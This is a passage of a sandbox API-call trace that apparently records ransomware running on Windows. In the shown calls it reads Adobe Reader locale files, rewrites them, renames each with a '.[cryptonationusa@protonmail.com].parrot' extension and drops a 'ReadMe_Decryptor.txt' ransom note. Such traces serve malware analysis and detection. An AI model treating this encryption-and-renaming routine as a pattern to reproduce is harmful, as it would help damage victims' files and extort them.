hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0258.391] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0258.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0258.392] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0258.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0258.392] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x32de660 [0258.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0258.392] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x332a688 [0258.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de660 | out: hHeap=0x5b0000) returned 1 [0258.392] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x332d620 [0258.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0258.392] WriteFile (in: hFile=0x1b0, lpBuffer=0x332d640*, nNumberOfBytesToWrite=0x3528, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x332d640*, lpNumberOfBytesWritten=0x18e8f4*=0x3528, lpOverlapped=0x0) returned 1 [0258.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332d620 | out: hHeap=0x5b0000) returned 1 [0258.423] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3518, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0258.423] CloseHandle (hObject=0x1b0) returned 1 [0258.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3275a58 [0258.423] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x3322178 [0258.423] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3275a58 | out: hHeap=0x5b0000) returned 1 [0258.423] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\BRdlang32.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\brdlang32.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\BRdlang32.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\brdlang32.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322178 | out: hHeap=0x5b0000) returned 1 [0258.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0258.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0258.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0258.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0258.426] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0258.559] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.559] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.594] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.594] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x20a00, lpOverlapped=0x0) returned 1 [0258.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0258.605] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0258.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0258.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0258.605] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0258.605] GetLastError () returned 0x0 [0258.608] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0258.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0258.608] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0258.608] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0258.608] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0258.608] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0258.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0258.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0258.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0258.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0258.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0258.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0258.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0258.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0258.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0258.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0258.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0258.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0258.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0258.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0258.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0258.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0258.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0258.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0258.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0258.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0258.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0258.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0258.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0258.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0258.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0258.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0258.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0258.609] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0258.609] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0258.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0258.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0258.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0258.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0258.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0258.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x32de660 [0258.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0258.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x3326648 [0258.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de660 | out: hHeap=0x5b0000) returned 1 [0258.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x33295e0 [0258.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0258.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x332dd30 [0258.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33295e0 | out: hHeap=0x5b0000) returned 1 [0258.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x3390088 [0258.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332dd30 | out: hHeap=0x5b0000) returned 1 [0258.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x3326648 [0258.610] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3390088 | out: hHeap=0x5b0000) returned 1 [0258.610] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x3390088 [0258.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0258.611] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x329e548 [0258.611] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3390088 | out: hHeap=0x5b0000) returned 1 [0258.611] WriteFile (in: hFile=0x288, lpBuffer=0x329e560*, nNumberOfBytesToWrite=0x20b28, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x329e560*, lpNumberOfBytesWritten=0x18e8f4*=0x20b28, lpOverlapped=0x0) returned 1 [0258.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0258.615] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20b18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0258.615] CloseHandle (hObject=0x288) returned 1 [0258.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3275a58 [0258.615] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x3322178 [0258.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3275a58 | out: hHeap=0x5b0000) returned 1 [0258.615] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Checkers.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\checkers.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Checkers.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\checkers.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.617] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3322178 | out: hHeap=0x5b0000) returned 1 [0258.617] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.617] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0258.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0258.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0258.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0258.621] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0258.630] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.633] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.638] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.638] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x21200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x21200, lpOverlapped=0x0) returned 1 [0258.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0258.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0258.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0258.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0258.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0258.646] GetLastError () returned 0x0 [0258.649] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0258.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0258.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0258.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0258.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0258.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0258.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0258.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0258.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0258.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0258.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0258.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0258.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0258.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0258.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0258.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0258.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5d51f8 [0258.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0258.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0258.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d51f8 | out: hHeap=0x5b0000) returned 1 [0258.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x315d788 [0258.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0258.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0258.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0258.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0258.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0258.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x6a5268 [0258.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0258.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x319e470 [0258.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0258.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0258.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0258.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0258.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0258.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0258.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0258.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0258.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0258.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0258.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0258.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x32de660 [0258.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0258.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x3326648 [0258.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de660 | out: hHeap=0x5b0000) returned 1 [0258.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x33295e0 [0258.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0258.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x332dd30 [0258.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x33295e0 | out: hHeap=0x5b0000) returned 1 [0258.651] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x3390088 [0258.651] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332dd30 | out: hHeap=0x5b0000) returned 1 [0258.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x3326648 [0258.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3390088 | out: hHeap=0x5b0000) returned 1 [0258.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x3390088 [0258.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0258.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x329e548 [0258.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3390088 | out: hHeap=0x5b0000) returned 1 [0258.652] WriteFile (in: hFile=0x288, lpBuffer=0x329e560*, nNumberOfBytesToWrite=0x21328, lpNumberOfBytesWritten=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x329e560*, lpNumberOfBytesWritten=0x18e8f4*=0x21328, lpOverlapped=0x0) returned 1 [0258.656] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0258.656] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21318, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0258.656] CloseHandle (hObject=0x288) returned 1 [0258.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x315d788 [0258.656] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x3339fc8 [0258.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315d788 | out: hHeap=0x5b0000) returned 1 [0258.657] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\DigSig.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\digsig.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\DigSig.ITA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\digsig.ita.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0258.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3339fc8 | out: hHeap=0x5b0000) returned 1 [0258.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0258.658] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0258.705] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x31fcff8 [0258.705] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x3279e80 [0258.705] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0258.705] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0258.705] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\ReadMe_Decryptor.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e6e8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0258.708] GetFileType (hFile=0x288) returned 0x1 [0258.708] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0258.723] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0258.723] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0258.726] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.726] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4c00, lpOverlapped=0x0) returned 1 [0258.734] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0258.734] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0258.735] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0258.735] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0258.735] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0258.735] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0258.735] GetLastError () returned 0x0 [0258.735] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.735] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 